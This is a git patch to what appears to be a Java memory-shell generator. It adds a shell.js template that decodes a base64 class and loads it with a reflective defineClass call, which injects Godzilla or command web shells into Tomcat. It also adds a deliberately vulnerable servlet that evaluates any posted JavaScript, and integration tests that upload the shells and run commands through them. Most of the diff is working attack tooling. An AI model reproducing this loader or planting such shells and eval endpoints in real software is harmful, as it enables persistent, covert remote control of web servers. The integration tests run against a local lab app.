From 9864c3da3291236650776707ba2c99defdda28f2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 4 Dec 2024 00:40:45 +0800 Subject: [PATCH] feat: support JDK8 ScriptEngine packer --- .../com/reajason/javaweb/GeneratorMain.java | 2 +- .../javaweb/memsell/packer/Packer.java | 28 +++++ .../memsell/packer/ScriptEnginePacker.java | 23 ++++ generator/src/main/resources/shell.js | 25 +++++ .../packer/ScriptEnginePackerTest.java | 25 +++++ .../tomcat/docker-compose-10.1-jre11.yaml | 2 +- .../javaweb/integration/CommandShellTool.java | 20 +++- .../integration/GodzillaShellTool.java | 19 +++- .../reajason/javaweb/integration/VulTool.java | 14 +++ .../tomcat/TomcatIntegrationTest.java | 106 +++++++++++------- .../src/main/webapp/WEB-INF/web.xml | 20 ++-- .../src/main/java/ScriptEngineServlet.java | 26 +++++ vul-webapp/src/main/webapp/WEB-INF/web.xml | 20 +++- 13 files changed, 267 insertions(+), 63 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java create mode 100644 generator/src/main/resources/shell.js create mode 100644 generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java create mode 100644 vul-webapp/src/main/java/ScriptEngineServlet.java diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index a17cc49e..d3f53f5d 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -32,7 +32,7 @@ public class GeneratorMain { System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str); System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str); System.out.println(shellConfig); - Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes()); + Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes()); JspPacker jspPacker = new JspPacker(); String jspContent = new String(jspPacker.pack(generateResult)); System.out.println(jspContent); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java index e9a25b5d..04e6b32c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java @@ -1,11 +1,39 @@ package com.reajason.javaweb.memsell.packer; import com.reajason.javaweb.config.GenerateResult; +import lombok.Getter; /** * @author ReaJason * @since 2024/11/26 */ public interface Packer { + + /** + * 将生成的内存马打包成指定格式 + * + * @param generateResult 生成的内存马信息 + * @return 指定格式字节数组 + */ byte[] pack(GenerateResult generateResult); + + + @Getter + static enum INSTANCE { + /** + * JSP 打包器 + */ + JSP(new JspPacker()), + + /** + * 脚本引擎打包器 + */ + ScriptEngine(new ScriptEnginePacker()); + + private final Packer packer; + + INSTANCE(Packer packer) { + this.packer = packer; + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java new file mode 100644 index 00000000..e03cbc9f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import lombok.SneakyThrows; +import org.apache.commons.io.IOUtils; + +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class ScriptEnginePacker implements Packer { + @Override + @SneakyThrows + public byte[] pack(GenerateResult generateResult) { + String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); + String injectorClassName = generateResult.getInjectorClassName(); + String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset()); + return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes(); + } +} diff --git a/generator/src/main/resources/shell.js b/generator/src/main/resources/shell.js new file mode 100644 index 00000000..c6673d6f --- /dev/null +++ b/generator/src/main/resources/shell.js @@ -0,0 +1,25 @@ +var classLoader = java.lang.Thread.currentThread().getContextClassLoader(); +var className = "{{className}}"; +var base64Str = "{{base64Str}}"; +try { + classLoader.loadClass(className).newInstance(); +} catch (e) { + var clsString = classLoader.loadClass('java.lang.String'); + var bytecode; + try { + var clsBase64 = classLoader.loadClass("java.util.Base64"); + var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder"); + var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz); + bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str); + } catch (ee) { + var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str); + } + var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); + var clsByteArray = classLoader.loadClass('[B'); + var clsInt = java.lang.Integer.TYPE; + var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt); + defineClass.setAccessible(true); + var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); + clazz.newInstance(); +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java new file mode 100644 index 00000000..1ec22f6b --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/packer/ScriptEnginePackerTest.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +class ScriptEnginePackerTest { + + @Test + void pack() { + GenerateResult generateResult = GenerateResult.builder() + .injectorClassName("hehe") + .injectorBytesBase64Str("hehe").build(); + String jsContent = new String(new ScriptEnginePacker().pack(generateResult)); + System.out.println(jsContent); + assertTrue(jsContent.contains("var className = \"hehe\";")); + assertTrue(jsContent.contains("var base64Str = \"hehe\";")); + } + +} \ No newline at end of file diff --git a/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml index 53458ddf..8d9ce1c6 100644 --- a/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml +++ b/integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml @@ -5,6 +5,6 @@ services: - "8080:8080" - "5005:5005" environment: - JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 volumes: - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java index 683e42fc..a69288a3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -5,17 +5,20 @@ import com.reajason.javaweb.config.CommandShellConfig; import com.reajason.javaweb.config.GenerateResult; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.JspPacker; +import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; import okhttp3.HttpUrl; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; +import org.junit.jupiter.api.Test; import java.util.Objects; -import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author ReaJason @@ -24,11 +27,16 @@ import static org.junit.jupiter.api.Assertions.assertEquals; @Slf4j public class CommandShellTool { - public static String generateJsp(Server server, CommandShellConfig config, String shellType, int targetJdkVersion) { + @Test + void testGenerate() { + String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine); + System.out.println(content); + } + + public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { ShellTool shellTool = ShellTool.COMMAND; GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); - JspPacker jspPacker = new JspPacker(); - return new String(jspPacker.pack(generateResult)); + return new String(packer.getPacker().pack(generateResult)); } @SneakyThrows @@ -44,7 +52,7 @@ public class CommandShellTool { try (Response response = okHttpClient.newCall(request).execute()) { String res = response.body().string(); - assertEquals("root", res.trim()); + assertTrue(res.contains("root")); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java index 4c35ce30..44489120 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.config.GodzillaShellConfig; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.godzilla.GodzillaManager; -import com.reajason.javaweb.memsell.packer.JspPacker; +import com.reajason.javaweb.memsell.packer.Packer; import java.io.IOException; @@ -18,11 +18,22 @@ import static org.junit.jupiter.api.Assertions.assertTrue; */ public class GodzillaShellTool { - public static String generateJsp(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) { + public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { ShellTool shellTool = ShellTool.Godzilla; GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); - JspPacker jspPacker = new JspPacker(); - return new String(jspPacker.pack(generateResult)); + return new String(packer.getPacker().pack(generateResult)); + } + + public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) { + ShellTool shellTool = ShellTool.Godzilla; + GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); + return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult)); + } + + public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) { + ShellTool shellTool = ShellTool.Godzilla; + GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion); + return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult)); } public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index d7401c20..6da1c015 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -35,4 +35,18 @@ public class VulTool { Assertions.assertEquals(200, response.code()); } } + + @SneakyThrows + public static void postJS(String uploadUrl, String js) { + RequestBody requestBody = new FormBody.Builder() + .add("js", js) + .build(); + Request request = new Request.Builder() + .header("Content-Type", "application/x-www-form-urlencoded") + .url(uploadUrl).post(requestBody) + .build(); + try (Response response = new OkHttpClient().newCall(request).execute()) { + Assertions.assertEquals(200, response.code()); + } + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java index 8cbad04e..3e8563cc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java @@ -6,6 +6,7 @@ import com.reajason.javaweb.config.Server; import com.reajason.javaweb.integration.CommandShellTool; import com.reajason.javaweb.integration.GodzillaShellTool; import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -57,14 +58,14 @@ public class TomcatIntegrationTest { @ParameterizedTest(name = tomcat6ImageName + "|{0}Godzilla|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzilla(String shellType) { - testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6); + void testGodzillaJSP(String shellType) { + testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP); } @ParameterizedTest(name = tomcat6ImageName + "|{0}Command|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommand(String shellType) { - testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6); + void testCommandJSP(String shellType) { + testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP); } } @@ -80,14 +81,15 @@ public class TomcatIntegrationTest { @ParameterizedTest(name = tomcat7ImageName + "|{0}Godzilla|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzilla(String shellType) { - testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7); + void testGodzillaJSP(String shellType) { + testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP); } + @ParameterizedTest(name = tomcat7ImageName + "|{0}Command|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommand(String shellType) { - testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7); + void testCommandJSP(String shellType) { + testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP); } } @@ -102,14 +104,26 @@ public class TomcatIntegrationTest { @ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzilla(String shellType) { - testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8); + void testGodzillaJSP(String shellType) { + testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP); + } + + @ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JS") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testGodzillaJS(String shellType) { + testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine); } @ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommand(String shellType) { - testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8); + void testCommandJSP(String shellType) { + testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP); + } + + @ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JS") + @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) + void testCommandJS(String shellType) { + testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine); } } @@ -124,14 +138,14 @@ public class TomcatIntegrationTest { @ParameterizedTest(name = tomcat9ImageName + "|{0}Godzilla|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testGodzilla(String shellType) { - testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9); + void testGodzillaJSP(String shellType) { + testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP); } @ParameterizedTest(name = tomcat9ImageName + "|{0}Command|JSP") @ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE}) - void testCommand(String shellType) { - testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9); + void testCommandJSP(String shellType) { + testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP); } } @@ -146,14 +160,14 @@ public class TomcatIntegrationTest { @ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP") @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testGodzilla(String shellType) { - testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11); + void testGodzillaJSP(String shellType) { + testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP); } @ParameterizedTest(name = tomcat10ImageName + "|{0}Command|JSP") @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testCommand(String shellType) { - testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11); + void testCommandJSP(String shellType) { + testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP); } } @@ -168,18 +182,18 @@ public class TomcatIntegrationTest { @ParameterizedTest(name = tomcat11ImageName + "|{0}Godzilla|JSP") @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testGodzilla(String shellType) { - testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17); + void testGodzillaJSP(String shellType) { + testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP); } @ParameterizedTest(name = tomcat11ImageName + "|{0}Command|JSP") @ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE}) - void testCommand(String shellType) { - testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17); + void testCommandJSP(String shellType) { + testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP); } } - private void testGodzillaJspInjectAssertOk(String url, String shellType, int targetJdkVersion) { + private void testGodzillaAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { String pass = "pass" + shellType; String key = "key" + shellType; String headerValue = "Godzilla" + shellType; @@ -187,26 +201,38 @@ public class TomcatIntegrationTest { .pass(pass).key(key) .headerName("User-Agent").headerValue(headerValue) .build(); - String jspContent = GodzillaShellTool.generateJsp(Server.TOMCAT, shellConfig, shellType, targetJdkVersion); log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); - String filename = shellType + ".jsp"; - String uploadEntry = url + "/upload"; - String jspEntry = url + "/" + filename; - VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent); - VulTool.urlIsOk(jspEntry); - GodzillaShellTool.testIsOk(jspEntry, shellConfig); + String content = GodzillaShellTool.generate(Server.TOMCAT, shellConfig, shellType, targetJdkVersion, packer); + String shellUrl = url + "/"; + if (Packer.INSTANCE.JSP.equals(packer)) { + String uploadEntry = url + "/upload"; + String filename = shellType + ".jsp"; + shellUrl = url + "/" + filename; + VulTool.uploadJspFileToServer(uploadEntry, filename, content); + VulTool.urlIsOk(shellUrl); + } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { + String uploadEntry = url + "/js"; + VulTool.postJS(uploadEntry, content); + } + GodzillaShellTool.testIsOk(shellUrl, shellConfig); } - private void testCommandJspInjectAssertOk(String url, String shellType, int targetJdkVersion) { + private void testCommandAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { String paramName = "Command" + shellType; CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build(); - String jspContent = CommandShellTool.generateJsp(Server.TOMCAT, config, shellType, targetJdkVersion); + String content = CommandShellTool.generate(Server.TOMCAT, config, shellType, targetJdkVersion, packer); log.info("generated {} command shell with paramName: {}", shellType, config.getParamName()); - String filename = shellType + ".jsp"; - String uploadEntry = url + "/upload"; - String jspEntry = url + "/" + filename; - VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent); - VulTool.urlIsOk(jspEntry); - CommandShellTool.testIsOk(jspEntry, config); + String shellUrl = url + "/"; + if (Packer.INSTANCE.JSP.equals(packer)) { + String uploadEntry = url + "/upload"; + String filename = shellType + ".jsp"; + shellUrl = url + "/" + filename; + VulTool.uploadJspFileToServer(uploadEntry, filename, content); + VulTool.urlIsOk(shellUrl); + } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { + String uploadEntry = url + "/js"; + VulTool.postJS(uploadEntry, content); + } + CommandShellTool.testIsOk(shellUrl, config); } } \ No newline at end of file diff --git a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index 27a96152..94e804d2 100644 --- a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -10,6 +10,7 @@ index.html + upload UploadServlet @@ -18,12 +19,15 @@ upload /upload - - godzilla - ErrorHandler - - - godzilla - /* - + + + + + + + + + + + \ No newline at end of file diff --git a/vul-webapp/src/main/java/ScriptEngineServlet.java b/vul-webapp/src/main/java/ScriptEngineServlet.java new file mode 100644 index 00000000..0b6400c8 --- /dev/null +++ b/vul-webapp/src/main/java/ScriptEngineServlet.java @@ -0,0 +1,26 @@ +import javax.script.ScriptEngineFactory; +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.xml.bind.DatatypeConverter; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class ScriptEngineServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String js = req.getParameter("js"); + try { + Object eval = new ScriptEngineManager().getEngineByName("js").eval(js); + resp.getWriter().println(eval.toString()); + } catch (ScriptException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul-webapp/src/main/webapp/WEB-INF/web.xml index 0977e1f3..de31e2da 100644 --- a/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -15,6 +15,7 @@ /test + upload UploadServlet @@ -24,10 +25,23 @@ /upload - - ErrorListener - + + + js + ScriptEngineServlet + + + js + /js + + + + + + + +